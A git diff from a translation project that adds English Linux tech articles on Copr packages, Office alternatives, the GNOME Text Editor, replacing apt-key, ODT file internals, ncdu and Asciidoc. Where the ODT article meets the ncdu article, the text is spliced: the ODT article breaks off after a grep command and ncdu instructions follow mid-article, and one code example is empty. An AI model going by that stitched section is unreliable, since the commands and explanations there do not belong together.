dependencies, use patched builds of your favorite tools to support some non-standard use cases, and just experiment freely. + +If you don’t know [how to enable a repository][3] or if you are concerned about whether [it is safe to use Copr][4], please consult the [project documentation][5]. + +This article takes a closer look at interesting projects that recently landed in Copr. + +### **Ntfy** + +[Ntfy][6] is a simple HTTP-based notification service that allows you to send notifications to your devices using scripts from any computer. To send notifications ntfy uses PUT/POST commands or it is possible to send notifications via ntfy __CLI without any registration or login_._ For this reason, choose a hard-to guess topic name, as this is essentially a password. + +In the case of sending notifications, it is as simple as this: + +``` + + $ ntfy publish beer-lovers "Hi folks. I love beer!" + {"id":"4ZADC9KNKBse", "time":1649963662, "event":"message", "topic":"beer-lovers", "message":"Hi folks. I love beer!"} + +``` + +And a listener who subscribes to this topic will receive: + +``` + + $ ntfy subscribe beer-lovers + {"id":"4ZADC9KNKBse", "time":1649963662, "event":"message", "topic":"beer-lovers", "message":"Hi folks. I love beer!"} + +``` + +If you wish to receive notifications on your phone, then ntfy also has a [mobile app][7] for Android so you can send notifications from your laptop to your phone. + +![][8] + +#### **Installation instructions** + +The [repo][9] currently provides _ntfy_ for Fedora Linux 35, 36, 37, and Fedora Rawhide. To install it, use these commands: + +``` + + sudo dnf copr enable cyqsimon/ntfysh + sudo dnf install ntfysh + +``` + +### Koi + +If you use light mode during the day but want to protect your eyesight overnight and switch to dark mode, you don’t have to do it manually anymore. [Koi][10] will do it for you! + +Koi provides KDE Plasma Desktop functionality to automatically switch between light and dark mode according to your preferences. Just set the time and themes. + +![][11] + +#### **Installation instructions** + +The [repo][12] currently provides _Koi_ for Fedora Linux 35, 36, 37, and Fedora Rawhide. To install it, use these commands: + +``` + + sudo dnf copr enable birkch/Koi + sudo dnf install Koi + +``` + +### **SwayNotificationCenter** + +[SwayNotificationCenter][13] provides a simple and nice looking GTK GUI for your desktop notifications. + +You will find some key features such as do-not-disturb mode, a panel to view previous notifications, track pad/mouse gestures, support for keyboard shortcuts, and customizable widgets. SwayNotificationCenter also provides a good way to [configure and customize][14] via JSON and CSS files. + +More information on with screenshots at the bottom of the page. + +#### **Installation instructions** + +The [repo][15] currently provides _SwayNotificationCenter_ for Fedora Linux 35, 36, 37, and Fedora Rawhide. To install it, use these commands: + +``` + + sudo dnf copr enable erikreider/SwayNotificationCenter + sudo dnf install SwayNotificationCenter + +``` + +### **Webapp Manager** + +Ever want to launch your favorite websites from one place? With [WebApp][16] manager, you can save your favorite websites and run them later as if they were an apps. + +You can set a browser in which you want to open the website and much more. For example, with Firefox, all links are always opened within the WebApp. + +![][17] + +#### **Installation instructions** + +The [repo][18] currently provides _WebApp_ for Fedora Linux 35, 36, 37, and Fedora Rawhide. To install it, use these commands: + +``` + + sudo dnf copr enable perabyte/webapp-manager + sudo dnf install webapp-manager + +``` + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/4-cool-new-projects-to-try-in-copr-for-august-2022/ + +作者:[Jiri Kyjovsky][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/nikromen/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2017/08/4-copr-945x400.jpg +[2]: https://copr.fedorainfracloud.org/ +[3]: https://docs.pagure.org/copr.copr/how_to_enable_repo.html#how-to-enable-repo +[4]: https://docs.pagure.org/copr.copr/user_documentation.html#is-it-safe-to-use-copr +[5]: https://docs.pagure.org/copr.copr/user_documentation.html +[6]: https://github.com/binwiederhier/ntfy +[7]: https://play.google.com/store/apps/details?id=io.heckel.ntfy +[8]: https://fedoramagazine.org/wp-content/uploads/2022/08/beer.jpg +[9]: https://copr.fedorainfracloud.org/coprs/cyqsimon/ntfysh/ +[10]: https://github.com/baduhai/Koi +[11]: https://fedoramagazine.org/wp-content/uploads/2022/08/Screenshot_20220813_133028.png +[12]: https://copr.fedorainfracloud.org/coprs/birkch/Koi/ +[13]: https://github.com/ErikReider/SwayNotificationCenter +[14]: https://github.com/ErikReider/SwayNotificationCenter#scripting +[15]: https://copr.fedorainfracloud.org/coprs/erikreider/SwayNotificationCenter/ +[16]: https://github.com/linuxmint/webapp-manager +[17]: https://fedoramagazine.org/wp-content/uploads/2022/08/Screenshot_20220810_182415.png +[18]: https://copr.fedorainfracloud.org/coprs/perabyte/webapp-manager/ diff --git a/sources/tech/20220814 Best 5 Alternatives to Microsoft Office [Compared].md b/sources/tech/20220814 Best 5 Alternatives to Microsoft Office [Compared].md new file mode 100644 index 0000000000..a211293a50 --- /dev/null +++ b/sources/tech/20220814 Best 5 Alternatives to Microsoft Office [Compared].md @@ -0,0 +1,65 @@ +[#]: subject: "Best 5 Alternatives to Microsoft Office [Compared]" +[#]: via: "https://www.debugpoint.com/best-alternatives-microsoft-office-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Best 5 Alternatives to Microsoft Office [Compared] +====== +Here we give you the five best alternatives to Microsoft Office. We compare them based on features, are easy to use and provide you with a guide to choosing the one you need. + +We all agree that Microsoft Office is one of the best software developed by Mircosoft. It has a presence almost everywhere in the entire world in nearly every business. It is a fine piece of software that evolved over a few decades. + +And obviously, it doesn’t have a Linux native installer and comes with a significant price. The current Microsoft Office 365 subscription pricing is a little higher if you are a business owner or a personal user. And not everyone can afford that price bucket for a longer time. + +Then what are the alternatives? You can try other options that relatively get the job done for most users or businesses. + +This article gives you the five best alternatives to Microsoft Office. + +### Best Alternatives to Microsoft Office + +### 1. LibreOffice + +![LibreOffice][1] + +The first alternative we highlight here is [LibreOffice][2]. The Document Foundation develops and manages the entire LibreOffice free and open-source office suite, available for Linux, macOS and Windows. + +Firstly, it comes with a spreadsheet ([Calc][3]), word processor (Writer), presentation (Impress), drawing (Draw) and a database program (Base). + +Secondly, this project is actively developed, and compatibility with Microsoft Office documents is improved in every release iteration. If appropriately used, LibreOffice can effectively do all the work that a Mircosoft office program does. In addition, a massive set of documentation and communities can help you adopt LibreOffice in no time. + +You don’t need to pay for the software if you are a small or large corporation. But paid deployment and support are also available at minimal cost if you require them for your critical work. + +However, LibreOffice does not come with an Outlook-like email program. This might be one of the minor drawbacks, but you can access emails from web browsers today for all email service providers. + +**More details about LibreOffice** + +* [Home page][4] +* [For Business][5] +* [Download for general-purpose personal use][6] +* [Help and Documentation][7] +* [Official support forum][8] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-alternatives-microsoft-office-2022/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/03/LibreOffice.jpg +[2]: https://www.libreoffice.org/discover/libreoffice/ +[3]: https://www.debugpoint.com/category/libreoffice/libreoffice-calc/ +[4]: https://www.libreoffice.org/discover/libreoffice/ +[5]: https://www.libreoffice.org/download/libreoffice-in-business/ +[6]: https://www.libreoffice.org/download/download/ +[7]: https://help.libreoffice.org/latest/en-US/text/shared/05/new_help.html diff --git a/sources/tech/20220814 New GNOME Text Editor – Everything You Need to Know.md b/sources/tech/20220814 New GNOME Text Editor – Everything You Need to Know.md new file mode 100644 index 0000000000..c62e487ad1 --- /dev/null +++ b/sources/tech/20220814 New GNOME Text Editor – Everything You Need to Know.md @@ -0,0 +1,148 @@ +[#]: subject: "New GNOME Text Editor – Everything You Need to Know" +[#]: via: "https://www.debugpoint.com/gnome-text-editor/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +New GNOME Text Editor – Everything You Need to Know +====== +We give you details about GNOME’s new default text editor – the Gnome Text Editor. + +A text editor is an essential tool for any Linux distribution or desktop. You use it almost daily for small to complex tasks while working, studying, etc. + +Most mainstream Linux desktops have a text editor that integrates well. For example, KDE has Kate or KWrite, and GNOME has Gedit. + +### So, Why a new Text Editor for GNOME? + +GNOME 42 version onwards, Gedit is replaced with a new editor – Gnome Text Editor. So the distributions which are based on GNOME should not have the new editor. The old Gedit may co-exist with this new editor until users are comfortable. + +You might ask why. + +What is wrong with Gedit? Gedit is a mighty text editor that supports many advanced functionalities other than being a simple text editor. Nothing is wrong in that sense. We covered some cool features of Gedit [here][1]; you might want to look. + +The primary reason for putting effort into creating another text editor is the libadwaita library adaptation necessary for GNOME Shell. The libadwaita and associated libhandy library provide advanced GUI features such as animation, UI widgets, built-in dark mode, responsive UI and others. + +Adapting libadwaita and its features to an existing application running for decades is a complex process. It is more cost-effective to develop a brand-new application with the latest libraries than to debug and change an old one. + +The Gedit is a two-decade-old application, with its first release in Feb 1999. Now you can comprehend what kind of complexity is built already inside its code base. + +### GNOME Text Editor + +At first look, [GNOME’s new text editor][2] looks the same. See the image below. + +![GNOME Text Editor][3] + +The first difference you would see in the looks. The title bar, action buttons and fonts are different. And they look neat overall. There is a slight gradient of the logo in the title bar itself, which you may notice. That is cool, indeed. + +The Open menu has a search bar with an option to open the open file dialog. The title bar has the line and column numbers at the top, unlike in Gedit, where it was at the bottom. + +When you start modifying a file, it gives you a dot instead of an Asterix indicator showing that it has been changed. + +In the editor itself, the line numbers are shown on the left side. The context menu is almost the same as Gedit’s. + +At the top right, there is no Save button like in Gedit. However, you have two options. The first view button gives you detailed settings about the Margin, Indentation, Wrapping and other options. + +![Menu 1][4] + +The main difference is in the hamburger menu and its preference dialog. + +The hamburger menu provides the dark and light mode out-of-the-box, which is accessible from this menu itself. Thanks to the libadwaita library, you can experience it with its default installation without any additional plugins. + +![GNOME Text Editor - Hamburger Menu][5] + +![GNOME Text Editor in Dark Mode][6] + +The preference dialog is entirely new. The new text editor provides the following themes preloaded – + +* Adwaita +* Kate +* Tango +* Classic +* Solarized Light + +![Preference Window][7] + +Also, new features such as Grid pattern in the entire editor window, highlighting current lines and overview map are excellent additions to this editor. + +A built-in session restoration behaviour is bound to help you when you work in this text editor. + +One of the nifty features is the save as dialog box. It gives you a nice little list of unsaved files with an option to select which ones you want to save. This is, indeed, next-level UI design. + +![New Save Changes Popup][8] + +### Comparison to Gedit + +If you compare this new editor to Gedit, there are many differences from the feature standpoint. The default Gedit was powerful because of its Plugins. It had plugins for grammar and spelling check, a built-in Python compiler and many others – and they are part of the default installation. + +As this editor is still in a very early stage of writing this guide, I hope more features drop in. Plugin support is welcome; if existing Gedit plugins can be used, nothing like it. + +So, that’s about its features. Here’s how you can install it. + +### How to Install + +#### Using Flatpak + +Set up your system to use Flatpack and use the following command to install. + +``` +flatpak install flathub org.gnome.TextEditor +``` + +#### Using apt (for Ubuntu, Linux Mint and others) + +You can also install it using the apt package manager as the below command. + +``` +sudo apt install gnome-text-editor +``` + +#### For Fedora and related distros using dnf + +``` +sudo dnf install gnome-text-editor +``` + +#### Usage + +Remember those commands which you used to run using gedit? For example: + +``` +sudo gedit somefile.txt +``` + +Now that you have a new editor. You should start using it. And the above command looks like the one below. + +``` +sudo gnome-text-editor somefile.txt +``` + +### Closing Notes + +I hope Gedit and GNOME Text Editor can co-exist as default packaging in future GNOME releases. A new editor is acceptable regarding look and feel, but how often do you care about how an app looks right? Because many users have already established their workflow with Gedit and its plugins. + +So, do you like the new Text Editor of GNOME? Let me know in the comment box below. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-text-editor/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2021/04/gedit-features/ +[2]: https://gitlab.gnome.org/GNOME/gnome-text-editor +[3]: https://www.debugpoint.com/wp-content/uploads/2021/12/GNOME-Text-Editor-1024x576.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/12/Menu-1.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2021/12/GNOME-Text-Editor-Hamburger-Menu.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/12/GNOME-Text-Editor-in-Dark-Mode.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/12/Preference-Window.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/12/New-Save-Changes-Popup.jpg diff --git a/sources/tech/20220815 Handling -apt-key is deprecated. Manage keyring files in trusted.gpg.d instead- in Ubuntu Linux.md b/sources/tech/20220815 Handling -apt-key is deprecated. Manage keyring files in trusted.gpg.d instead- in Ubuntu Linux.md new file mode 100644 index 0000000000..891bc5b77f --- /dev/null +++ b/sources/tech/20220815 Handling -apt-key is deprecated. Manage keyring files in trusted.gpg.d instead- in Ubuntu Linux.md @@ -0,0 +1,256 @@ +[#]: subject: "Handling “apt-key is deprecated. Manage keyring files in trusted.gpg.d instead” in Ubuntu Linux" +[#]: via: "https://itsfoss.com/apt-key-deprecated/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Handling “apt-key is deprecated. Manage keyring files in trusted.gpg.d instead” in Ubuntu Linux +====== + +Installing a package from an [external repository in Ubuntu][1] consists of three steps: + +* Adding the repository’s GPG key to the system +* Adding the external repository to the system +* Installing the package from this external repository + +But lately, you would notice a message about ‘apt-key being deprecated’ when you try installing packages from third-party repositories. + +Take the [installation of Spotify on Ubuntu][2] for example. When I add the GPG key to the system, it complains. + +``` +curl -sS https://download.spotify.com/debian/pubkey_5E3C45D7B312C643.gpg | sudo apt-key add - +[sudo] password for abhishek: +Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)). +OK +``` + +It’s a warning, not an error. It doesn’t stop the process. The GPG key is added to your system and you can continue adding the external repository. + +However, it will create further warnings (again, not errors). In the example here, if I continue adding the external repository, it shows me this message. + +``` +Reading package lists... Done +Building dependency tree... Done +Reading state information... Done +All packages are up to date. +W: http://repository.spotify.com/dists/stable/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details. +``` + +It doesn’t stop the installation of the package, though. In the example, I was able to install the spotify-client package afterward. + +If it’s not an error, do you need to be worried about it? Probably not. Not now, at least. However, it would be better to understand future changes coming to this external repo mechanism. + +### Understanding the apt-key deprecation and trusted.gpg issue + +There are two parts to this message: + +* apt-key is deprecated +* Manage keyring files in trusted.gpg.d + +I’ll come to both points in a moment. + +When you add the keys (.gpg or .asc) of a repository, your system trusts the packages (signed with that key) coming from the repository. If you don’t add the key of a repository, your system won’t allow installing packages from it. + +For a long time, the apt-key command line tool has been used for managing the repository keys to Debian and other distros using apt package management. You can add, list, update, and remove the keys with this command. + +#### Problem with the way apt-key works + +It works by adding the keys to the /etc/apt/trusted.gpg file. The apt package manager trusts the keys inside this file. + +Sounds good, right? However, it was discovered to be a potential security issue. Your system trusts those keys completely, not just for the packages you added them for. + +Imagine that you added keys to repository A to get package AA and to repo B to get package BB. Your system will gladly accept package BB signed by the key of repo A. It cannot relate the keys to their respective packages. + +Now, it’s easier said than done because there are other factors in play like apt policy and preferences but it opens an attack surface. + +This is the reason why apt-key is being deprecated. That’s the first part of the warning message. + +#### Ubuntu wants you to separate GPG keys + +Coming to the second part of the warning message; “Manage keyring files in trusted.gpg.d”. + +Ubuntu doesn’t want you to add all the signature keys in the single /etc/apt/trusted.gpg file. It suggests using a separate file that are located in the /etc/apt/trusted.gpg.d directory. + +It’s the same mechanism it uses for the sources list where external repository sources are listed in their own file under /etc/apt/sources.list.d instead of keeping everything under the /etc/apt/sources.list file. It makes managing the external repos a bit easier. + +This means that instead of using the apt-key in this fashion: + +``` +curl -sS https://download.spotify.com/debian/pubkey_5E3C45D7B312C643.gpg | sudo apt-key add - +``` + +You should use it like this: + +``` +curl -sS https://download.spotify.com/debian/pubkey_5E3C45D7B312C643.gpg | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/spotify.gpg +``` + +Which is basically adding the key to its dedicated file under /etc/apt/trusted.d directory. Ubuntu won’t complain anymore. + +Although this doesn’t fix the original concern of cross-signing the packages. The [proper way][3] to fix is to add the key location to the sources list file of the repository. I’ll discuss both methods in the next section. + +### Solution 1: Adding the GPG keys to the system to keep Ubuntu happy (relatively easier but not proper way) + +Unfortunately, there is no easy way around this. You’ll have to use the command line and you should figure out correct parameters. There is no ‘run this and you are done’ thing here. + +The idea here is to add the GPG key under its dedicated file in /etc/apt/trusted.gpg.d. + +There are couple of scenarios here. + +#### You have already added the key in /etc/apt/trusted.gpg file + +In this case, list the keys with this command: + +``` +sudo apt-key list +``` + +There should be a way to identify the repository. You should have its name or developers name. + +In my case, I am handling the Spotify repository: + +``` +[email protected]:~$ sudo apt-key list +[sudo] password for abhishek: +Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)). +/etc/apt/trusted.gpg +-------------------- +pub rsa4096 2021-10-27 [SC] [expires: 2023-01-20] + F9A2 1197 6ED6 62F0 0E59 361E 5E3C 45D7 B312 C643 +uid [ unknown] Spotify Public Repository Signing Key <[email protected]> +``` + +Copy the last 8 characters of the second line under pub. In my case, it is `B312 C643`. You’ll have to remove the space between the numbers and use it like this: + +``` +sudo apt-key export B312C643 | sudo gpg --dearmour -o /etc/apt/trusted.gpg.d/spotify.gpg +``` + +The output file could be named anything but it is better to use a name that is associated with the package or repository. + +The `gpg --dearmour` part is important because the mechanism expects you to have the keys in binary format. + +#### You haven’t added the external keys yet + +Well, in that case, get the keys and add it to your trsuted.gpg.d directory. + +If only it was that simple. The keys can be in several file formats like .asc, .gpg etc. And then those keys can be [armored][4]. + +An armored GPG file is encrypted but shows random text instead of being in binary format. An armored GPG key starts with: + +``` +-----BEGIN PGP PUBLIC KEY BLOCK----- +``` + +But your GPG key should not be ‘armored’. It should be in binary format (if you try to read it, it shows gibberish). + +``` +ay`�����?o;���Lh����҇�^j?�,4�@8�Xh�]�j�F��Q��W�ă|,%C�n��nG�t���׺���b%/Ka����i��� +``` + +This is why it is important to use `sudo gpg --dearmour` while handling the keys. If the added keys are not in the binary format, you’ll start seeing this message in the output of apt update command: + +``` +The key(s) in the keyring /etc/apt/trusted.gpg.d/spotify.gpg are ignored as the file has an unsupported filetype. +``` + +You may also [use the file command][5] to check if the key is armored or not. + +``` +file repo-key.gpg +``` + +and if the output is like ‘PGP public key block’, it is armored file and needs to be converted to binary. + +``` +[email protected]:~$ file /etc/apt/trusted.gpg.d/spotify.gpg +/etc/apt/trusted.gpg.d/spotify.gpg: PGP public key block Public-Key (old) +``` + +So, the steps here involve: + +* Downloading the keys and checking if it is armored or not +* If the file is armored, it needs to be dearmored in binary format +* And then the dearmored key is added to its own file under /etc/apt/trusted.gpg.d directory + +You may combine all in one single command like this given that you know that it is an armored key. + +``` +curl -sS https://download.spotify.com/debian/pubkey_5E3C45D7B312C643.gpg | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/spotify.gpg +``` + +As I mentioned earlier, this is relatively easier but not the proper way. What’s the proper way? Let’s discuss that. + +### Solution 2: Adding the GPG keys to the system to the proper way + +This is similar to what you have seen in the previous section but it has one more step of adding the key’s location to the repository’s sources list file. + +* Downloading the keys and checking if it is armored or not +* If the file is armored, it needs to be dearmored in binary format +* And then the dearmored key is added to its own file under /usr/share/keyrings directory +* The location of the key file is added to the sources list file of the repository + +In the same example, let’s add the key of the Spotify repository in /usr/share/keyrings directory. + +``` +curl -sS https://download.spotify.com/debian/pubkey_5E3C45D7B312C643.gpg | gpg --dearmor | sudo tee /usr/share/keyrings/spotify.gpg +``` + +Now, comes the next part. Normally, the content of the sources list file are like this: + +``` +deb URL_of_the_repo stable non-free +``` + +You should edit it and add the location of the key file like this: + +``` +deb [signed-by=/usr/share/keyrings/key-file.gpg] URL_of_the_repo stable non-free +``` + +This way, you are linking the package to a specific key. Now, this key cannot be used to download any other package. No more cross-signing. + +In the Spotify example, I modified the command this way so that the sources list also contains the signed by information. + +``` +echo "deb [signed-by=/usr/share/keyrings/spotify.gpg] http://repository.spotify.com stable non-free" | sudo tee /etc/apt/sources.list.d/spotify.list +``` + +### What next? + +As you can see, there is no easy-to-use mechanism in place to replace the apt-key command. It requires a lot of manual effort and it should not be like this. + +Since it is the transitioning phase, the ‘apt-key is deprecated’ message is a warning but things could be more strict in future versions of Ubuntu. + +For now, even if you ignore this warning, you can continue using the external repository. + +In my opinion, the onus lies on the external repository provider. They should be the one providing the correct way of adding their repository. + +I see that [Brave browser provides the correct, moder][6][n][7][instructions][8] but many others, like Spotify, don’t do it. The change should come from developer’s side. The user should not be fiddling around the warning and error messages. + +It’s not one of my best articles as it has too many moving points and it leaves a lot of things for you figure out. I have a feeling that the article may not clear all things. If that’s the case, please leave your questions and suggestions in the comment section and I’ll try explaining it further. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-key-deprecated/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/adding-external-repositories-ubuntu/ +[2]: https://itsfoss.com/install-spotify-ubuntu-linux/ +[3]: https://wiki.debian.org/DebianRepository/UseThirdParty +[4]: https://www.techopedia.com/definition/23150/ascii-armor +[5]: https://linuxhandbook.com/file-command/ +[6]: https://brave.com/linux/ +[7]: https://brave.com/linux/ +[8]: https://brave.com/linux/ diff --git a/sources/tech/20220815 How ODT files are structured.md b/sources/tech/20220815 How ODT files are structured.md new file mode 100644 index 0000000000..1e8ef0c0f5 --- /dev/null +++ b/sources/tech/20220815 How ODT files are structured.md @@ -0,0 +1,117 @@ +[#]: subject: "How ODT files are structured" +[#]: via: "https://opensource.com/article/22/8/odt-files" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How ODT files are structured +====== +Because OpenDocument Format (ODF) are based on open standards, you can use other tools to examine them and even extract data from them. You just need to know where to start. + +Word processing files used to be closed, proprietary formats. In some older word processors, the document file was essentially a memory dump from the word processor. While this made for faster loading of the document into the word processor, it also made the document file format an opaque mess. + +Around 2005, the Organization for the Advancement of Structured Information Standards (OASIS) group defined an open format for office documents of all types, the Open Document Format for Office Applications (ODF). You may also see ODF referred to as simply "OpenDocument Format" because it is an open standard based on the [OpenOffice.org's][4] XML file specification. ODF includes several file types, including ODT for OpenDocument Text documents. There's a lot to explore in an ODT file, and it starts with a zip file. + +### Zip structure + +Like all ODF files, ODT is actually an XML document and other files wrapped in a zip file container. Using zip means files take less room on disk, but it also means you can use standard zip tools to examine an ODF file. + +I have an article about IT leadership called "Nibbled to death by ducks" that I saved as an ODT file. Since this is an ODF file, which is a zip file container, you can use unzip from the command line to examine it: + +``` +$ unzip -l 'Nibbled to death by ducks.odt' +Archive: Nibbled to death by ducks.odt +Length Date Time Name +39 07-15-2022 22:18 mimetype +12713 07-15-2022 22:18 Thumbnails/thumbnail.png +915001 07-15-2022 22:18 Pictures/10000201000004500000026DBF6636B0B9352031.png +10879 07-15-2022 22:18 content.xml +20048 07-15-2022 22:18 styles.xml +9576 07-15-2022 22:18 settings.xml +757 07-15-2022 22:18 meta.xml +260 07-15-2022 22:18 manifest.rdf +0 07-15-2022 22:18 Configurations2/accelerator/ +0 07-15-2022 22:18 Configurations2/toolpanel/ +0 07-15-2022 22:18 Configurations2/statusbar/ +0 07-15-2022 22:18 Configurations2/progressbar/ +0 07-15-2022 22:18 Configurations2/toolbar/ +0 07-15-2022 22:18 Configurations2/popupmenu/ +0 07-15-2022 22:18 Configurations2/floater/ +0 07-15-2022 22:18 Configurations2/menubar/ +1192 07-15-2022 22:18 META-INF/manifest.xml +970465 17 files +``` + +I want to highlight a few elements of the zip file structure: + +1. The `mimetype` file contains a single line that defines the ODF document. Programs that process ODT files, such as a word processor, can use this file to verify the `MIME` type of the document. For an ODT file, this should always be: + +``` +application/vnd.oasis.opendocument.text +``` + +1. The `META-INF` directory has a single `manifest.xml` file in it. This file contains all the information about where to find other components of the ODT file. Any program that reads ODT files starts with this file to locate everything else. For example, the `manifest.xml` file for my ODT document contains this line that defines where to find the main content: + +``` + +``` + +1. The `content.xml` file contains the actual content of the document. +2. My document includes a single screenshot, which is contained in the `Pictures` directory. + +### Extracting files from an ODT file + +Because the ODT document is just a zip file with a specific structure to it, you can extract files from it. You can start by unzipping the entire ODT file, such as with this unzip command: + +``` +$ unzip -q 'Nibbled to death by ducks.odt' -d Nibbled +``` + +A colleague recently asked for a copy of the image that I included in my article. I was able to locate the exact location of any embedded image by looking in the `META-INF/manifest.xml` file. The `grep` command can display any lines that describe an image: + +``` +$ cd Nibbled +$ grep image META-INF/manifest.xml + +export.gz +``` + +This command will scan the HOME directory and save the scanning report in a file called **export.gz**. + +**Sample output:** + +``` +/usr/lib/locale/zh_CN.gbk/LC_MESSAGES/SYS_LC_MESSAGES 188375 files +``` + +You can view it later by running the following command: + +``` +$ zcat export.gz | ncdu -f- +``` + +It is also possible to export to a file and browse it once scanning is done: + +``` +$ ncdu -o- | tee export.file | ncdu -f- +``` + +#### Analyze Disk Usage Of Remote Linux Systems + +To scan a remote system, but browse through the files locally, run: + +``` +$ ssh -C ostechnix@192.168.1.60 ncdu -o- / | ncdu -f- +``` + +Here, + +* ostechnix is the user name of my remote system. +* 192.168.1.60 is the remote system's IP address. +* -C switch enables compression. + +To quit ncdu, press **q**. + +### Ncdu Keybindings + +Here is the list of available key options in ncdu utility. + +* up, k  - Move cursor up. +* down, j  - Move cursor down. +* Right arrow, ENTER key - Open selected directory. +* Left arrow, <, h  - Open parent directory. +* n - Sort by name (ascending/descending). +* s - Sort by size (ascending/descending). +* C - Sort by items (ascending/descending). +* d - Delete selected file or directory. +* t - Toggle dirs before files when sorting. +* g - Show percentage and/or graph. +* a - Toggle between apparent size and disk usage. +* c - Toggle display of child item counts. +* e - Show/hide hidden or excluded files. +* i - Show information about selected item. +* r - Recalculate the current directory. +* b - Spawn shell in current directory. +* q - Quit ncdu. + +For more details, read the man pages. + +``` +$ man ncdu +``` + +### Conclusion + +Now, you know how to analyze and track the disk space usage in Linux using Ncdu. Ncdu is a quite fast utility to check which directories are occupying most in space in your Linux system. + +If you find certain directory or file is consuming more space on your hard drive, you can delete or move them safely to another drive to free up the disk space. + +**Resource:** + +* [Ncdu website][4] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/check-disk-space-usage-linux-using-ncdu/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/08/Check-Disk-Space-Usage-With-Ncdu.png +[2]: https://ostechnix.com/wp-content/uploads/2022/08/Show-Information-About-Selected-Item.png +[3]: https://ostechnix.com/wp-content/uploads/2022/08/View-Items-Inside-A-Directory.png +[4]: https://dev.yorhel.nl/ncdu diff --git a/sources/tech/20220815 Try Asciidoc instead of Markdown.md b/sources/tech/20220815 Try Asciidoc instead of Markdown.md new file mode 100644 index 0000000000..a3d979ea0e --- /dev/null +++ b/sources/tech/20220815 Try Asciidoc instead of Markdown.md @@ -0,0 +1,188 @@ +[#]: subject: "Try Asciidoc instead of Markdown" +[#]: via: "https://opensource.com/article/22/8/drop-markdown-asciidoc" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Try Asciidoc instead of Markdown +====== +Next time you write, use Asciidoc and Asciidoctor as alternatives to Markdown. + +![Person using a laptop][1] + +I'm a happy user of the XML-based [Docbook][2] markup language. To me, it's a precise, explicit, and detailed system that allows me to have contextual and domain-specific metadata in what I write. Best of all, though, it can be transformed (that's what XML users call it when XML is converted into another format) into nearly any format, including HTML, EPUB, FO for PDF, plain text, and more. With great power comes a lot of typing, though, and sometimes Docbook feels like it's surplus to requirements. Luckily, there's [Asciidoc][3], a system of writing plain text with the same markup-less feel of Markdown, but that transforms to Docbook to take advantage of its precision and flexibility. + +### Asciidoc rules + +Like Markdown, one of the goals of Asciidoc is that you don't really have to *learn* it. Instead, it aims to be intuitive and natural. You may well have written snippets of valid Asciidoc without realizing it if you've ever added a little style to a plain text document for readability. For instance, if you habitually separate paragraphs with a blank line, then you've written the equivalent of the HTML `

